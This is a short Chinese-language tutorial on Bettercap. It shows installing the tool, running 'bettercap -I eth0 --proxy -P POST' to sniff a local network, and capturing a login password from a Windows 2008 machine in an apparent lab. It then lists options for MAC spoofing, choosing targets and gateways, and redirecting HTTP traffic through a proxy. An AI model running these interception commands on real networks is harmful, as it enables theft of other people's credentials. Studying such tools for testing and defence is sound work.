内网神器-Bettercap

安装bettercap

root@sch01ar:~# apt-get update
root@sch01ar:~#  apt-get install bettercap

 安装完成后查看一下帮助

root@sch01ar:~# bettercap -h

 开启嗅探

root@sch01ar:~# bettercap -I eth0 --proxy -P POST

用同一内网的windows2008机访问一个网站，并模拟登陆

嗅探到密码

参数详情：

-I：后面加网卡

--use-mac：使用MAC地址替换本机的MAC地址进行攻击

--random-mac：用随机的MAC地址替换本机的MAC地址进行攻击

--gateway：网关地址

--target：目标地址，如果没有设置的话，将对整个内网进行嗅探

--ignore：需要忽略的主机

--proxy：启用HTTP代理并将所有HTTP请求重定向到本机，默认为关闭

--proxy-port：设置http代理端口